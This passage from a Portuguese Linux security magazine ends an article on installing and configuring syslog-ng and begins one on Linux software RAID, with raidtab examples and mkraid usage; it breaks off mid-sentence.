pertinentes a respeito de outra ferramenta
que pode ser de grande auxlio na auditoria
de seus servidores, o Syslog-NG.
Como sempre, esse artigo est bem
longe de ser suficiente como nica fonte de
informaes a respeito do syslog-ng. O que
proponho nesse pequeno e simples artigo
demonstrar o funcionamento bsico do
mesmo para estimular o estimado leitor a
buscar maiores informaes, seja no prprio
site do desenvolvedor, atravs da troca de
informaes com outros profissionais ou no
vasto mar de conhecimento que pode ser
navegado atravs da Web.
Syslog-ng (Syslog New Generation)
O syslog-ng um excelente programa
desenvolvido por Balzs Scheidler e
colaboradores da comunidade, mantido pela
empresa Balabit, sendo uma alternativa ao
syslog comum encontrado como padro na
maioria dos sistemas unix conhecidos hoje.
Mas em que aspectos exatamente o
syslog-ng inovador ou melhor?
Como principais funcionalidades e
qualidades o syslog-ng possui fcil e flexvel
configurao, possibilidade de filtragem de
contedo atravs da utilizao de expresses
regulares (alm da possibilidade de utilizao

das conhecidas prioridades e facilities do


syslog), portabilidade, melhor performance
para logging remoto e, em desenvolvimento,
criptografia j integrada e checagem de
integridade de dados. Por isso o syslog-ng
vem suprir algumas necessidades de nosso
bom e velho syslog.
Instalao
Para esse modesto artigo, utilizarei a ltima
verso estvel do syslog-ng disponvel no
momento em que escrevo o mesmo.
Trata-se da verso 1.4.16. Precisaremos
tambm da libol 0.2.23, uma biblioteca escrita
pelo prprio autor do syslog-ng e necessria a
ele. Ambos os pacotes podem ser obtidos
atravs dos endereos:
http://www.balabit.hu/downloads/syslog-ng/stable/
syslog-ng-1.4.16.tar.gz
http://www.balabit.hu/downloads/libol/0.2/libol0.2.23.tar.gz

A compilao e a instalao do syslogng so extremamente simples (como a


maioria das ferramentas *nix disponveis
hoje).
Para
tal,
primeiramente
descompactamos a libol-0.2.23.tar.gz em
um diretrio temporrio e utilizamos a trade
(./configure && make && make install)
para a compilao e instalao.
Se nenhum erro ocorreu, passamos
agora para a compilao e instalao do
prprio syslog-ng. Descompactamos a fonte
syslog-ng-1.4.16.tar.gz em um diretrio
temporrio e novamente:
# ./configure && make && make install

Vale lembrar que a instalao da libol


www.linuxsecurity.com.br

40
no obrigatria, bastando que voc
descompacte a mesma em um diretrio
temporrio e utilize o script configure do
syslog-ng com a opo:
--with-libol=/diretrio/temporrio/libol-0.2.3

Se tudo ocorreu bem, deveremos ter


agora uma instalao padro do syslog-ng
em nosso sistema.
Configurao
Aps uma instalao padro do syslogng, deveremos ter como binrio de nosso
servio de logs o /usr/local/sbin/syslog-ng.
O diretrio padro do arquivo de
configurao do syslog-ng (o syslog-ng.conf)
ser o /etc/syslog-ng. A documentao do
syslog-ng indica que o diretrio de
configurao padro (sem a alterao de
nenhuma de suas opes) $PREFIXO/etc,
porm em todas as minhas instalaes o
diretrio de configuraes do syslolg-ng foi
indicado como o /etc/syslog-ng.
Caso o estimado leitor deseje alterar
esse diretrio, utilize a opo --sysconfdir
do script configure. De qualquer forma, o
diretrio de configuraes tambm no
criado automaticamente aps a instalao.
Aps criarmos, ento, o diretrio para o
arquivo de configuraes (mkdir /etc/
syslog-ng) podemos iniciar a configurao
de nosso recm instalado syslog-ng.
Se o estimado leitor tiver uma certa
pressa para observar o funcionamento de
seu syslog-ng e no quiser logo de incio
customiz-lo, poder encontrar no diretrio
contrib do cdigo fonte do mesmo uma srie
de arquivos de configuraes prontos para
utilizao em sistemas Linux, SunOS e HPUX e que devero servir para um syslog-ng

totalmente funcional. Nesse mesmo


diretrio tambm podero ser encontrados
os scripts para inicializao do servio de
logs caso seja necessrio.
Para a criao de um novo syslogng.conf devemos entender como as
mensagens so tratadas pelo syslog-ng,
qual o caminho que elas seguem at serem
registradas.
Primeiramente deveremos ter uma
fonte de registro (chamada source), de onde
o syslog-ng ir obter as mensagens, ento
teremos os filtros que sero aplicados s
mensagens obtidas dessa fonte (lembre-se
que essa uma das qualidades mais
importantes do syslog-ng) e, finalmente,
um destino para o registro das mensagens,
mais comumente representado por um
arquivo:
FONTE (/dev/log)

DESTINO (/VAR/LOG/CRONTAB)
FILTROS

FONTE (/xxx/log)

DESTINO (/var/log/messages)
DESTINO (/var/log/maillog)

DIRETIVA LOG

Pelo simples diagrama acima podemos


perceber que, a partir de uma ou mais fontes
do sistema, as mensagens chegaro ao
syslog-ng e, dependendo dos filtros e
regras configuradas no mesmo, essas
mensagens sero direcionadas aos seus
respectivos destinos. Devo acrescentar que
o responsvel por organizar e conectar fonte
(source), filtros (filter) e destino
(destination) a diretiva log.
Temos ento:
Source: indica a fonte ou as fontes de
onde o syslog-ng poder obter as
mensagens
do
sistema
para
processamento e registro. Uma coleo
www.linuxsecurity.com.br

41

de drivers garante que diferentes


sistemas (linux, bsd, bsdi, solaris, hp-ux,
etc) possam utilizar o syslog-ng de acordo
com o seu prprio funcionamento. no
caso do linux (nosso exemplo),
utilizaremos o driver para sockets
AF_UNIX, SOCK_STREAM (unix-stream).
Sintaxe:
Obs: Se estiver lendo a revista direto de um visualizador
PDF, utilize a ferramenta Zoom para ver o cdigo
abaixo.

log

{ source(f1); source(s2); ...


filter(f1); filter(f2); ...
destination(d1); destination(d2); ...
flags(flag1[, flag2...]); };

Irei dar um exemplo prtico de arquivo


syslog-ng.conf genrico para Linux
explicativo para entendermos da melhor
forma possvel como criar nosso prprio
arquivo de configuraes:
Veja na prxima pgina

source <identificador> { driver(parmetros); driver(parmetros);...};

Filters: Responsveis por rotear as


mensagens dentro do syslog-ng de
acordo expresses e funes (host(),
match(), level(), program(), facility()).
Sintaxe:
filter <identificador> {expresso; };

Destination: Aps passar pela fase de


filtragem e, de acordo com a regra
correspondente a uma dada mensagem,
o destination ser pura e simplesmente o
indicador do destino de registro dessa
mensagem, podendo ser no apenas um
arquivo como tambm um banco de dados
ou um host remoto.

Ficha do Autor
Nome: Renato Murilo Langona
Idade: 23 anos
Profisso: Analista/Consultor de
Segurana da Informao.
Empresa:LinuxSecurity Brasil
Solutions S/C Ltda

email: renato@linuxsecurity.com.br

Informaes Adicionais
Fundador e mantenedor do projeto nacional
LinuxSecurity Brasil e da revista LinuxSecurity
Magazine.
Site: http://www.linuxsecurity.com.br

Sintaxe:
destination <identificador> {driver-destino(parmetros);
driver-destino(parmetros);
...};

Log: Responsvel por organizar e unir


source, filter e destination.
Sintaxe:

www.linuxsecurity.com.br

42

# Arquivo exemplo de syslog-ng.conf


# LinuxSecurity Magazine
# 03/08/2002
# Opes para o funcionamento do syslog-ng
options { sync (0);
time_reopen (10);
use_dns (no);
use_fqdn (no);
create_dirs (yes);
};

# Fonte de obteno das mensagens


source src { unix-stream(/dev/log);
unix-stream(/chroot/named/dev/log maxconnections(10));
internal(); };

# Configurao de destinos
destination
destination
destination
destination
destination
destination
destination
destination
destination
destination
destination
destination
destination
destination
destination

authlog { file(/var/log/messages.auth); };
syslog { file(/var/log/messages.syslog); };
cron { file(/var/log/crontab); };
daemon { file(/var/log/messages.daemon); };
kern { file(/var/log/messages.kern); };
lpr { file(/var/log/messages.lpr); };
maillog { file(/var/log/maillog); };
mail { file(/var/log/maillog); };
user { file(/var/log/maillog); };
uucp { file(/var/log/messages.uucp); };
messages { file(/var/log/messages); };
console { usertty(root); };
console_all { file(/dev/tty8); };
debug { file(/var/log/debug); };
hostremoto {tcp(127.0.0.1 port(6666));};

# Configurao de filtros
filter
filter
filter
filter
filter
filter
filter

f_authpriv { facility(auth, authpriv); };


f_syslog { not facility(auth, authpriv) and not facility(mail); };
f_cron { facility(cron); };
f_daemon { facility(daemon); };
f_kern { facility(kern); };
f_lpr { facility(lpr); };
f_mail { facility(mail); };

www.linuxsecurity.com.br

43

filter f_user { facility(user); };


filter f_uucp { facility(cron); };
filter f_news { facility(news); };
filter f_debug { not facility(auth, authpriv, news, mail); };
fillter f_emergency { level(emerg); };
filter f_info { level(info); };
filter f_notice { level(notice); };
filter f_warn { level(warn); };
filter f_crit { level(crit); };
filter f_err { level(err); };
filter f_cother { level(debug, info, notice, warn) or facility(daemon, mail); };

#
log
log
log
log
log
log
log
log
log
log
log
log
log
log

Diretivas Log
{
{
{
{
{
{
{
{
{
{
{
{
{
{

source(src);
source(src);
source(src);
source(src);
source(src);
source(src);
source(src);
source(src);
source(src);
source(src);
source(src);
source(src);
source(src);
source(src);

filter(f_authpriv); destination(authlog); };
filter(f_syslog); destination(syslog); };
filter(f_cron); destination(cron); };
filter(f_daemon); destination(daemon); };
filter(f_kern); destination(kern); };
filter(f_lpr); destination(lpr); };
filter(f_mail); destination(mail); };
filter(f_user); destination(user); };
filter(f_uucp); destination(uucp); };
filter(f_mail); destination(maillog); };
filter(f_debug); destination(debug); };
filter(f_messages); destination(messages); };
filter(f_emergency); destination(console); };
destination(hostremoto); };

Comeamos nosso arquivo configurando


as opes de funcionamento do syslog-ng.
A lista de opes possveis bem mais vasta
do que as que utilizamos, incluindo
possibilidades de controle de permisses
(perm) e ownership (owner, group) de
arquivos, porm utilizei apenas algumas que
julgo mais usuais nesse artigo:
sync : Indica o nmero de linhas a serem
inseridas no buffer antes de serem
registradas. No nosso caso nenhuma.
time_reopen: tempo em segundos que
nosso daemon deve aguardar antes que
uma
conexo
perdida
seja
reestabelecida.

use_dns: Permite a utilizao ou no do


resolvedor de nomes locais para o
registro em logs. Nesse caso selecionei
'no' para evitar possveis ataques Denial
of Service (DoS) gerados pelo alto
trfego do servidor.
use_fqdn: Possibilita adicionar o nome
completo de uma mquina ao invs de
apenas seu hostname. Essa opo pode
ser til no caso de registro remoto de
diversos servidores de redes diferentes.
create_dirs: Permite que diretrios dos
arquivos de destino dos registros possam
ser criados caso nao existam.

www.linuxsecurity.com.br

44

Logo aps configurarmos as opes de


funcionamento de nosso syslog-ng, partimos
para a indicao da fonte (source) de onde
ele ir obter as mensagens a serem
registradas.
No caso de nosso exemplo para Linux,
indicamos ao syslog-ng que obtenha as
mensagens do sistema atravs do dispositivo
/dev/log e /chroot/named/dev/log. O
primeiro para mensagens de servios de
nossa mquina e o segundo especfico para
mensagens de um servidor DNS chrooted,
sendo que nesse segundo caso tambm
utilizei a opo maxconnections(), que s
pode ser utilizado com unix-stream e limita
o nmero de conexes simultneas abertas
afim de evitarmos DoS.
Voc poderia tambm utilizar um outro
identificador para a fonte chrooted caso
queira aplicar outras opes, por exemplo:
Obs: Se estiver lendo a revista direto de um visualizador
PDF, utilize a ferramenta Zoom para ver o cdigo
abaixo.
source chrooted_jail { unix-stream ("/chroot/named/dev/log"maxconnections(10));

Nossa configurao de fonte tambm


inclui o internal(), de onde provm todas
as mensagens internamente geradas pelo
syslog-ng, importantes para avaliao de
erros e funcionamento de nosso servio de
logs.
Aps escolhermos as fontes de onde o
syslog-ng obter as mensagens a serem
registradas, partimos para a configurao
dos destinos e filtros.
Primeiramente identificamos cada um
dos destinos (a identificao ser importante
posteriormente na utilizao da diretiva log)
e, nesse exemplo, utilizamos o driver file,
um dos mais importantes do syslog-ng (e

mais utilizados), que nos permite registrar


as mensagens em um arquivo do sistema e
tambm o usertty, que permite que as
mensagens sejam enviadas ao terminal em
que determinado usurio esteja logado (no
nosso caso o root). claro que no sero
todas as mensagens enviadas ao console
do usurio root, iremos utilizar as
funcionalidades de filtragem do syslog-ng
para que apenas as crticas sejam.
Utilizamos nesse arquivo tambm o
destination com a opo para enviarmos
logs para um ou mais servidores remotos:
destination hostremoto {tcp("127.0.0.1" port(6666));};

Indicamos o protocolo, o host e a porta.


O syslog-ng possibilita a utilizao de tcp
ou udp, por isso devo lembrar que o leitor
deve verificar se a porta utilizada para escuta
j no est sendo utilizada (nesse nosso
caso, 6666 corresponde porta reservada
para servios IRC, desabilitados nesse
servidor). Em nosso exemplo e atravs
dessa opo, podemos fazer com que o
nosso syslog-ng envie mensagens a um
host remoto de forma criptografada atravs
de um forwarding ssh ou stunnel por
exemplo, por isso da utilizao de 127.0.0.1
como host destino. Por isso a verificao
local da porta em uso ou no
Lembro que o leitor ter outras opes
para o destination, utilizo em nosso
exemplo as mais usuais.
Partimos agora para a configurao dos
filtros a serem aplicados, que iro decidir
que mensagens iro para quais destinos.
As funes disponveis que utilizamos para
filtragem em nosso exemplo de configurao
do syslog-ng so:

www.linuxsecurity.com.br

45

facility: filtra mensagens de acordo com


as facilidades listadas.

terminal onde o usurio root est logado


(isso de acordo com nossas configuraes).

Level ou priority: filtra baseado na


prioridade ou no nvel indicado.

As configuraes que fizemos so


simples e meramente ilustrativas apenas
para demonstrar o poder de gerenciamento
de logs que o syslog-ng oferece. Diversos
arquivos exemplos de configuraes podem
ser encontrados tambm no diretrio docs
das fontes do syslog-ng para uma anlise
mais aprofundada.

Lembrando que podemos usar tambm


os booleanos NOT (NO), AND (E) e OR
(OU), de acordo com nossas necessidades
na construo dos filtros.
Para finalizar iremos organizar tudo
utilizando a diretiva log. As diretivas log
so lidas na ordem em que aparecem em
nosso arquivo de configuraes e iro
conectar nossos componentes source, filter
e destination para que as mensagens obtidas
sejam registradas da forma como desejamos.
Temos por exemplo:
log { source(src); destination(hostremoto); };

Que ser o responsvel por enviar as


mensagens obtidas atravs da fonte src e
aps serem devidamente filtradas por
nossos filters ao destination hostremoto
(explicado acima). Tendo nosso tnel criado
entre o host local e um host remoto, nossas
mensagens sero enviadas de forma
criptografada e mais segura do que se fossem
enviadas diretamente a esse host remoto.
Outro exemplo
configurao :

log

de

nossa

log { source(src); filter(f_emergency); destination(console); };

Essa diretiva far com que todas as


mensagens obtidas atravs da fonte src e
filtradas pelo filter indicado como
f_emergency (fillter f_emergency {
level(emerg); };) sejam enviados ao
destino indicado como console. O filter nesse
caso realiza filtragem baseado no nvel ou
prioridade da mensagem obtida e o
destination encaminha a mensagem para o

Utilizao
Antes de iniciarmos a utilizao do
syslog-ng aps sua configurao, devemos
desabilitar em nosso sistema os servios
syslogd e klogd para evitarmos quaisquer
conflitos. Logo aps, basta executarmos o
binrio do syslolg-ng:
# /usr/local/sbin/syslog-ng
Teremos, ento, o incio do registro de
logs em nosso servidor de acordo com nossas
necessidades e configuraes.
Repito que o que foi demonstrado aqui
representa uma mnima poro das opes,
utilizaes e configuraes possibilitadas
por essa excelente ferramenta Open Source.
Convido novamente o estimado leitor a
aprofundar seus conhecimentos atravs de
pesquisas e estudos, dividindo sempre que
possvel suas experincias com a
comunidade.
Espero que tenham gostado do artigo
e que o mesmo tenha sido til. Sintam-se
meus convidados para entrarem em contato
atravs de meu email. At a prxima edio
da LinuxSecurity Brasil! :-)
Forte abrao a todos...
www.linuxsecurity.com.br

46

RAID via Software em GNU/Linux - Recursos, Possibilidades e Apliaes


por Jos Roberto Kerne

* Persistent Superblock

Introduo
Antes de entrar em detalhes sobre a
implantao do recurso de RAID via software,
presente no Kernel Linux, sero mostrados
alguns
conceitos
bsicos
sobre
funcionamento, aplicao, preparao do
ambiente e migrao.
Algumas opes sobre termos usados
neste artigo:
disco => partio ou disco fsico
array => conjunto de discos que
formam um dispositivo RAID
RAID (Redundant Array of Independent
Disks) um recurso que possibilita Alta
Disponibilidade (que daqui em diante ser
tratado como HA - High Availability), soma
de dispositivos lgicos em um nico
dispositivo fsico alm de suporte a
tolerncia a falhas (presente em alguns nveis
somente), recursos estes implementados no
Kernel Linux.
Os nveis RAID presentes no Kernel
Linux so:
*
*
*
*
*

Linear mode
Raid-0
Raid-1
Raid-4
Raid-5

Nestes nveis apresetandos, pode-se


ainda lanar mo de recursos e configuraes
adicionais, relacionadas a otimizao,
incremento da HA e at mesmo forar uma
falha de disco. As opes utilizadas nos
nveis RAID so:

Sintaxe: persistent-superblock N
Onde: N = Nmero de Super-blocos
A opo persistent-superblock
utilizada para resolver um problema
existente no boot do sistema a partir de
dispositivos RAID.
Isto
ocorre
devido
a
uma
particularidade presente no initscript, que
requer o arquivo de tabelas RAID (/etc/
raidtab) para montagem dos dispositivos,
sendo assim, quando um dispositivo RAID
inicializado com a opo persistentsuperblock, um superbloco especial
gravado no incio de cada um dos discos
participantes do array, possibilitando assim
o boot.
* Chunk Size
Sintaxe: chuck-size N
Onde: N = Tamanho em Kilobytes

A opo chunk-size utilizada para


optimizao e est presente em todos os
nveis, apesar de no ser necessria nem
utilizada nos nveis Linear e RAID-1 (Kernel
2.4).
Com valor em Kilobytes, o Chunk Size
oferece a possibilidade do incremento
significativo da performance em dispositivos
RAID, j que no possvel gravar ao mesmo
tempo em mais de um dispositivo de forma
contnua, ou seja, no possvel gravar de
forma totalmente paralela em todos os
discos. Como exemplo, 1 byte (8 bits), no
pode ser gravado fazendo-se com que 4 bits
www.linuxsecurity.com.br

47

sejam gravados no primeiro disco, 1 bit seja


gravado no segundo e os demais 3 bits no
terceiro disco. Esta uma limitao de
hardware (salvo interfaces controladoras
RAID onde a gravao feita via hardware
de forma independente).

recurso possvel para aplicao em


dispositivos RAID. Discos reserva so
utilizados em caso de falhas em um (ou
mais) discos do array, possibilitando a
migrao de forma automtica dos dados
para o disco de espera.

Assim, o chunk-size define o menor tamanho


de dados que pode ser gravado por vez. Em
sistemas onde o tamanho mdio de arquivos
pequeno, pode-se usufruir da vantagem
de utilizao de chunk size menor, o que
incrementar a performance de gravao. Em
sistemas onde o tamanho mdio de arquivos
maior, pode-se usufruir da vantagem de
utilizao de chunk-size maior, o que pode
tambm incrementar a performance.

Exemplo de utilizao:

Exemplificando: para chunk-size 4, tem-se


os 4 primeiros kylobytes gravados no primeiro
disco e os prximos 4 kilobytes gravados no
segundo, e assim sucessivamente.
Uma observao importante que cada
sistema (conjunto de Hardware + Sistema
Operacional + Particionamento) tem suas
particularidas, e alguns testes de
performance com chunk-sizes diferentes
podem e devem ser realizados.

* Space Disk / NR Spare Disks

Arquivo: /etc/raidtab
raiddev /dev/md1
raid-level
nr-raid-disks
nr-spare-disks
persistent-superblock
chunk-size
device
raid-disk
device
raid-disk
device
raid-disk
device
spare-disk

5
3
1
1
32
/dev/sda1
0
/dev/sdc1
1
/dev/sdd1
2
/dev/sdb1
0

Nota-se no exemplo acima que a sequncia


de discos de espera comea a contar de 0
(zero), da mesma forma com um disco normal
do array. Um detalhe importante a se notar
tambm que o disco de espera no deve
ser contado como disco pertencente ao
array na opo nr-raid-disks.

Sintaxe: spare-disk N
Onde: N = Nmero do disco reserva no array

Sintaxe: nr-spare-disks N
Onde: N = Nmero de discos reserva

Estas opes so utilizadas em conjunto e


esto relacionadas a discos reserva, um

* Failed Disk
Sintaxe: failed-disk N
Onde: N = Nmero do disco do array
A opo failed-disk utilizada para
forar a falha de um ou mais discos
participantes do array. Geralmente utilizado

www.linuxsecurity.com.br

48

para testes de falha no sistema, ou


recuperao em caso de falhas em algum
dispositivo fsico. A opo failed-disk fora
a eliminao do disco especificado,
carregando a dispositivo RAID normalmente.
Exemplo de utilizao:
Arquivo: /etc/raidtab
raiddev /dev/md0
raid-level
nr-raid-disks
persistent-superblock
chunk-size
device
raid-disk
device
raid-disk
failed-disk

Onde: N = nmero sequencial do dispositivo


RAID.
Ainda no exemplo acima, no mais
sero utilizados (leia-se montados) de forma
independente os discos (sda1) ou (sdc1),
passando a utilizar-se o array atravs do
dispositivo (/dev/md0).

Os nveis RAID
1
2
1
16
/dev/sda1
0
/dev/sdc1
1
1

Note que no exemplo acima foram


empregados 2 (dois) discos no array, sendo
disco 0=/dev/sda1 e disco 1=/dev/sdc1.
Eliminou-se do array o disco 1 (sdc1),
forando a falha via configurao.
Outra funo extremamente til da
opo failed-disk a possibilidade de
recuperao posterior em caso de testes
feitos em um dos discos de forma separada.
Sero de extrema importncia para
testes os comandos raidhotadd e
raidhotremove, que sero mostrados em
tpico especfico neste artigo.

Consideraes importantes

Sero tratados a seguir, cada um dos


nveis RAID de forma independente, citando
exemplos de utilizao.

Linear mode - Introduo


O nvel RAID Linear comporta o recurso
de combinao de dois ou mais discos em
um nico dispositivo fsico. Uma observao
importante aqui, que a forma de utilizao
(Gravao/Leitura), baseia-se no modo
sequencial, ou seja, o segundo disco
somente ser utilizando quando primeiro
estiver totalmente em cheio, e assim
sucessivamente.
O nvel RAID Linear no prov
redundncia ou tolerncia a falhas, sendo
assim um nvel de RAID pouco usado e muito
especfico.

Linear mode - Configurao


Um exemplo de configurao de um
dispositivo RAID em modo linear pode ser
observado a seguir:

Quando se fala em dispositivo RAID,


deve-se atentar que o discos participantes
no mais sero acessados de forma
independente. Por padro, dispositivos RAID
so acessados atravs de /dev/mdN.

www.linuxsecurity.com.br

49

Arquivo: /etc/raidtab
raiddev /dev/md0
raid-level
linear
nr-raid-disks
2
chunk-size
32
persistent-superblock 1
device
/dev/sda1
raid-disk
0
device
/dev/sdc1
raid-disk
1

RAID-0
O nivel RAID-0 comporta o recurso de
combinao de um ou mais discos, em
nico dispositivo fsico, de forma parecida a
Linear mode, porm fazendo uso de todos
os discos optimizando mais sua utilizao e
performance. Um recurso possibilitado pelo
RAID-0 a soma de parties de discos
distindos, formando um dispositivo RAID-0
composto, por exemplo, de vrias parties
em vrios discos, o que pode incrementar
significantemente a performance.
O RAID-0 no permite redundncia de
dados.
Um exemplo de configurao de um
dispositivo RAID-0 pode ser observado
abaixo:
Arquivo: /etc/raidtab
raiddev /dev/md0
raid-level
0
nr-raid-disks
2
chunk-size
32
nr-spare-disks
0
persistent-superblock 1
device
/dev/sda6
raid-disk
0
device
/dev/sdc1
raid-disk
1

Na tabela acima nota-se que os discos


(sda6) e (sdc1) participam do array do
dispoitivo /dev/md0.
Um detalhe importante a se notar
que o uso de spare-disk em RAID-0 no
faz muito sentido, j que o RAID-0 no
suporta redundncia. Pode-se sim, adicionar
a redundncia a nveis RAID sem
redundncia, utilizando-se da tcnica de
Soma de dispositivos RAID, como exemplo
o RAID-10 (RAID-0 + RAID-1), que ser vista
em outro tpico deste artigo.

RAID-1
O nvel RAID-1 comporta o recurso de
mirroring, ou seja, espelhamento. Tratase de um recurso de HA em que TODOS os
dados so lidos e gravados simultaneamente
(levando-se em conta a observao do
chunk-size) nos discos partencentes ao array.
Exatamente por se tratar de um recurso
de HA e Tolerncia a Falhas, o nvel RAID-1
tem sido largamente utilizado, merecendo
algumas observaes para o melhor
aproveitamento de performance.
Todas as observaes sobre incremento
de performane e formas de implementao
para otimizao sero retratadas em tpicos
mais adiante.
Um exemplo de configurao de um
dispositivo RAID-1 pode ser observado a
seguir:

www.linuxsecurity.com.br

50

raiddev /dev/md0
raid-level
1
nr-raid-disks
2
chunk-size
32
nr-spare-disks
1
persistent-superblock 1
device
/dev/sda1
raid-disk
0
device
/dev/sdc1
raid-disk
1
device
/dev/sdb1
spare-disk
0
Em dispositivos RAID-1 pode-se usufruir
do recurso de Spare Disk de forma a
incrementar mais ainda a HA. No exemplo
acima, tem-se o disco (sdb1) utilizado como
spare para o dispositivo (/dev/md0). Assim
que qualquer problema for notado pelo RAID,
que venha a eliminar um dos discos do array,
o spare disk ser automaticamente colocado
no array para re-sincronizao e utilizao.

RAID-4
Apesar de pouco usado, o RAID-4
comporta dois recursos importantes, mirror
e merge. Como exemplo, pode-se aplicar
RAID-4 para criao de um nico dispositivo
fsico composto por vrios discos de mesmo
tamanho, mas no necessariamente com a
mesma performance. Em um modelo
parecido com o RAID-5, que ser tratado a
seguir, o RAID-4 gera redundncia dos dados
nos discos pertencentes ao array, de forma
distribuda.
Um exemplo de configurao de um
dispositivo RAID-4 pode ser observado a
seguir:

Arquivo: /etc/raidtab
raiddev /dev/md0
raid-level
4
nr-raid-disks
3
chunk-size
32
nr-spare-disks
1
persistent-superblock 1
device
/dev/sda1
raid-disk
0
device
/dev/sdb1
raid-disk
1
device
/dev/sdc1
raid-disk
2
device
/dev/sdd1
space-disk
0
No exemplo acima, foi definida a tabela
necessria para criao do dispositivo (/dev/
md0) contendo o array de discos (sda1,
sdb1, sdc1), alm do disco adicional (sparedisk) sdd1. Como resultado, teremos um
dispositivo de grande tamanho, ainda com
redundncia de informao.
Uma observao a ser feita aqui que,
por no ser o modo mais recomendado de
utilizao e pelos mtodos de funcionamento
que no otimizam totalmente o uso dos
discos e principalmente pelo fato de no
sincronia da gravao dos dados no array, o
RAID-4 muito pouco usado.

RAID-5
Um dos mais complexos e utilizados
recursos RAID com certeza o RAID-5. Com
ele, pode-se obter um nvel de redundncia
da informao (HA), e ainda obter o melhor
aproveitamento do tamanho dos discos. O
RAID-5 permite a utilizao de vrios discos
distintos em um nico dispositivo fsico. A
redundncia da informao garantida por
um dos discos do array, ou seja, para
efeitos matemticos quando tem-se 4 discos

www.linuxsecurity.com.br

51

no array, conta-se que o dispositivo RAID-5


possui (N-1) discos, assim:
Exemplo onde de 3 Discos 10Gb resultam
em 20Gb total:
RAID-5: [ (3-1) x 10Gb ] = [ 2 x
10Gb ] = 20Gb
Como pode-se observar no exemplo
acima, este dispositivo RAID possui uma
perda de aproximadamente 30% do total de
espao em disco, espao este utilizado para
recuperao em caso de falhas.
Quando um dos discos apresentar
defeito, este ser eliminado do array,
podendo ser substitudo por um disco em
espera (spare disk) e os dados estaro
garantidos e seguros. Isto no ocorre caso
mais de um disco venha a apresentar
problemas ao mesmo tempo. Assim, caso
dois discos apresentem defeito, fatalmente
haver a perda dos dados.
Em resumo, este um exemplo
grosseiro do espao total obtido no RAID5, que no retrata sua forma de
funcionamento. O funcionamento do RAID-5
prev que a informao seja dividida por
todos os discos do array, de forma a
garantir que qualquer disco possa apresentar
defeito, e ainda assim os dados estejam
guardados de forma segura.
Um exemplo de configurao de um
dispositivo RAID-5 pode ser observado a
seguir:

Arquivo: /etc/raidtab
raiddev /dev/md0
raid-level
5
nr-raid-disks
3
nr-spare-disks
0
persistent-superblock 1
parity-algorithm
left-symmetric
chunk-size
32
device
/dev/sda1
raid-disk
0
device
/dev/sdb1
raid-disk
1
device
/dev/sdc1
raid-disk
2
device
/dev/sdd1
space-disk
0

Criao do dispositivo RAID


Agora que j foram mostradas e
exemplificadas todas as configuraes
possveis dos nveis RAID suportados pelo
Kernel do Linux, j se pode criar realmente
o dispositivo (mdX).
Para realizar esta tarefa, utilizamos o
comando mkraid /dev/mdX:
# mkraid /dev/md0
Ser solicitada uma confirmao para
criao do dispositivo RAID, em que os
superblocos sero sobrescritos nos discos
participantes do array (montado no arquivo
/etc/raidtab).
A partir deste momento, pode-se
conferir a sincronizao do disco no /proc.
H algumas diferenas entre o Kernel 2.2.x
e 2.4.x, veja o exemplo a seguir:

www.linuxsecurity.com.br

52

# uname -r
2.4.18

disk 1: /dev/hdc6, failed

# cat /proc/mdstat
Personalities : [raid1]
read_ahead 1024 sectors
md0 : active raid1 sda1[1] sdc1[0]
306304 blocks [2/2] [UU]
# uname -r
2.2.19
# cat /proc/mdstat
Personalities : [raid1]
read_ahead 1024 sectors
md0 : active raid1 sda1[0] sdc1[1]
306304 blocks [2/2] [UU]
Em algums casos, pode ser necessria
a criao de um dispositivo RAID, no
possuindo fisicamente todos os discos
necessrios.
Como exemplo, ser utilizada a criao
de um dispositivo RAID-5, contendo os discos
(hda6) e (hdc6). Assim:
Arquivo: /etc/raidtab
raiddev /dev/md0
raid-level
nr-raid-disks
persistent-superblock
chunk-size
device
raid-disk
device
raid-disk
failed-disk

5
2
1
8
/dev/hda6
0
/dev/hdc6
1
1

# mkraid /dev/md0
handling MD device /dev/md0
analyzing super-block
disk 0: /dev/hda6, 131008kB, raid
superblock at 130944kB \

# cat /proc/mdstat
Personalities : [raid5]
read_ahead 1024 sectors
md0 : active raid5 hda6[0] 130944
blocks level 5, 8k chunk, algorithm 0 [2/1] [U_]
Nota-se acima, que o dispositivo RAID5 foi criado com sucesso, e o disco (hdc6)
j foi setado como falho. Isto pode ser
notado atravs do status ao final da linha:
[U_]
Em que:
U = Em uso/funcionamento
_ = Fora de uso/desativado/defeituoso
Neste caso em especfico a
resincronizao dos dispositivo RAID no
ocorrer, sendo que apenas um dos discos
estar ativo.
Este tipo de criao de RAID muito
prtico e utilizado na migrao de sistemas
j instalados ou instalao quando no se
tem a mo todos os discos necessrios.
Vale lembrar aqui que possvel especificar
apenas 1 (um) disco como falho.

Implementao de dispositivos RAID


Neste tpico sero tratados os detalhes
para implementao dos nveis RAID no
sistema, sempre observando pontos
importantes como:
Ateno aos dispositivos utilizados

www.linuxsecurity.com.br

53

Alguns detalhes durante a preparacao


para implementacao podem resultar em um
melhor aproveitamento da performance,
bem como a optimizao. Implementar
dispositivos RAID no e tarefa difcil, porm
merece muita ateo aos detalhes. A escolha
de dispositivos (discos, controladoras, cabos
logicos) e o dimensionamento de memria
fisica podem ser cruciais para um sistema
obter uma melhor otimizao.

nas controladoras ide0 e ide1,


respectivamente. Utilizando controladoras
distintas, tem-se um ganho considervel de
performance.
Cabos lgicos

A ateno aos dispositivos utilizados


para definio da implementao deve levar
em conta:

A utilizacao se cabos lgicos especiais


ou optimizados uma das solues (fsicas)
de grande importncia e que merece sua
devida ateno. Em geral, para dispositivos
IDE, tende-se a utilizar cabos com suporte
a UDMA 4 ou superior, para padres ATA-66/
100.

Discos

Otimizao lgica (Particionamento)

Na aplicao de discos em dispositivos


RAID o aconselhvel sempre utilizar
padres (IDE/SCSI), marcas e modelos de
discos exatamente iguais. Isto garante que
a performance obtida ser realmente a
performance desejada e disponivel pelos
discos (performance fsica).
Controladoras
A utilizao de controladoras
(interfaces) distintas entre os dispositivos
do arranjo pode parecer bvia, mas um
ponto realmente importante a se notar.
Como exemplo, vamos citar um arranjo de
duas unidades logicas em dispositivos
distintos, veja:

Outro ponto que garante um melhor


aproveitamento da performance fsica dos
discos a forma correta de particionamento
dos dispositivos. Utilizar parties de menor
tamanho e sempre prximas no disco
um fator que incrementa, e muito, a
performance.
Levando-se em conta que o processo
de leitura e gravao depende da mecnica
do HD (movimentao do cabeote
magntico), um bom particionamento pode
compreender vrios pontos, exemplo:

Disco1 (IDE), Partio1 ligado a


controladora de discos 1: (hda1)

Servidor Proxy/Cache Squid (mdio/


